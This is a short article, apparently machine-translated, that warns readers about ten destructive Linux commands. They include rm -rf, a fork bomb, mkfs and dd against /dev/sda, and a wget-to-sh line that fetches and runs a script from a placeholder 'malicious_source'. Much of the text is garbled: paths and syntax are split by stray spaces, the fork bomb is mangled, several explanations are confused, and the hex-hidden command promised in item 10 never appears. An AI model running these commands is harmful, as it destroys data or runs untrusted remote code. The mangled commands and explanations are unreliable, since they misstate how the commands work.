Just like on Windows, Linux also has lots of terminal commands to carry out different operations. However, unlike Windows, Linux won’t ask you for confirmation if you run any command that could damage your system. So, we recommend you to not use these commands at any cost.
10 Most Dangerous Linux Commands You Should Never Execute
So, in this article, we are going to share some of the dangerous Linux commands you should never run on Linux. So, let’s check out the deadly commands you should never run on a Linux computer.
1. rm -rf
The rm -rf command is one of the fastest ways to delete a folder and its contents. But a little typing error or ignorance can result in unrecoverable damage to the system. Some of the options used with the rm command are like Rm -r command deletes the folder recursively, even the empty folder. rm -f Command removes “only read the file ‘without asking. It also has the power to eliminate all files present in the root directory.
2.: () {: |: &} ;:
The above command is the fork bomb. It operates by defining a function called ”, which is called twice, once in the foreground and once in the background. It keeps running again and again until the system freezes.
3. command> / dev / sda
The above command writes the output of ‘command on the block / dev / sda . The above command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in the block.
4. mv directory / dev / null
This command basically moves all the files to / dev / null, yes, it means that it simply disappear all the files from the system.
5. wget http: // malicious_source -O | sh
The above command will download a script from a malicious source and then run it on your system. The Wget command will download the script and sh command will run the downloaded script on your system.
6. Mkfs.ext3 / dev / sda
The above command will simply format the block ‘sda’ and you will definitely know that after running the above command your Block (Hard Disk Drive) will be reset to NEW! Without the data, leaving the system in unrecoverable phase.
7. > File
The above command is used to release the file content. If the above command is executed with a typing error or ignorance as “> xt.conf” will write the configuration file or any other system or configuration file.
8. ^ foo ^ bar
This command is used to edit the previous command without the need to retype the entire command again. But it can be really problematic if you do not take the risk to carefully check the change in the original command using ^ ^ foo bar command.
9. dd if = / dev / random of = / dev / sda
The above command will end as / dev / sda and write random data for the block. Of course! Your system would be left in an inconsistent and unrecoverable phase.
10. invisible Command
The following command is nothing more than the first command of this article ( rm-rf ). Here the codes are hidden in hex to an ignorant user can be fooled. Running the code below into your terminal and clear your root partition. This command here shows that the threat can be hidden and usually undetectable sometimes. You should be aware of what you are doing and what would be the result. Not compile / run code from an unknown source. So, these are some of the dangerous Linux commands that you should avoid. You shouldn’t run this command at any cost. I hope this article helped you! Share it with your friends also.